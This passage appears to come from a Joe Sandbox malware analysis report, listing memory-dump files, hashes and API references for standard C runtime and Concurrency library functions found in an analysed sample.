Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 28d0a1c5915562a4246527b4f4e2c47410a528ff381d2a0ae6c50b17ef213288
Instruction ID: 7334f3e3c121c369bda6f05ebfc88d28fa2860712d5d660cf33b7b35f3c23c20
Opcode Fuzzy Hash: 28d0a1c5915562a4246527b4f4e2c47410a528ff381d2a0ae6c50b17ef213288
Instruction Fuzzy Hash: BE313675A00309DFCF10DF94C8C0AAEBBB9BF46312F1404AADD01AB246D770AD49DBA0

Function 000613F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 000613FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00061447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 0006147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 0006152A

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: bca5bc35830c24955a58241131c84d1cb8f64ca7951f8f21871333733b5eb090
Instruction ID: b8426bf86a528e96770e917141038a599bb72ae3b1e0d56b79d3199da12cac7f
Opcode Fuzzy Hash: bca5bc35830c24955a58241131c84d1cb8f64ca7951f8f21871333733b5eb090
Instruction Fuzzy Hash: 0A315071A006069FCF14DFA8C4919EDF7F6BF48710B18822DE516A7392DB34A945CB90

Function 00059C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00059C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00059CE8
std::bad_exception::bad_exception.LIBCMT ref: 00059CFE
std::bad_exception::bad_exception.LIBCMT ref: 00059D6A

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: ad56c438872b6d1fc648fee2d861c615e0b2e689a0e477cceca99b5cc5659202
Instruction ID: ba1017523f691f9d0604151f9808e4432e4ba39cceb1710ee8cb92a583626726
Opcode Fuzzy Hash: ad56c438872b6d1fc648fee2d861c615e0b2e689a0e477cceca99b5cc5659202
Instruction Fuzzy Hash: FD21A176900205DFDB05EFA4D8869EFB7B4EF05311B24406AF905AB252EB316E09CB65

Function 00054885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00054893
ListArray.LIBCONCRT ref: 000548A5

Part of subcall function 00055555: _InternalDeleteHelper.LIBCONCRT ref: 00055564

ListArray.LIBCONCRT ref: 000548AF
_InternalDeleteHelper.LIBCONCRT ref: 000548C8

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: f89194d2177b15c3bde55ab2235ae2f0431d1c10f117c2c5d97c8cb4921267df
Instruction ID: f0270fdc086cbb80f70e1b0a9fef6451cb188d7a84ab0a296cfa7fd274286ff7
Opcode Fuzzy Hash: f89194d2177b15c3bde55ab2235ae2f0431d1c10f117c2c5d97c8cb4921267df
Instruction Fuzzy Hash: 3301A271600922AFCA156B68CC92EFFBB6AFF45712701012AFC045B613DF20EC6696A0

Function 0005EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0005EE6A
ListArray.LIBCONCRT ref: 0005EE7C

Part of subcall function 0005EF29: _InternalDeleteHelper.LIBCONCRT ref: 0005EF3B

ListArray.LIBCONCRT ref: 0005EE86
_InternalDeleteHelper.LIBCONCRT ref: 0005EE9F

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 85918ae2f5c8e3f7c3a54d770ec80e606dbb6809fc0f9fe69dc13680f8894611
Instruction ID: a58f2e1a62a5e26373089256458a7da5d2fdd29c27b7634b0736e7de4f210989
Opcode Fuzzy Hash: 85918ae2f5c8e3f7c3a54d770ec80e606dbb6809fc0f9fe69dc13680f8894611
Instruction Fuzzy Hash: CC01A275600621EFCA296B64CC82DABBB69FF45711701003AFD4497613CF20ED1687D0

Function 0005D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0005D0C5
ListArray.LIBCONCRT ref: 0005D0D7

Part of subcall function 0005C6B2: _InternalDeleteHelper.LIBCONCRT ref: 0005C6C4

ListArray.LIBCONCRT ref: 0005D0E1
_InternalDeleteHelper.LIBCONCRT ref: 0005D0FA

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
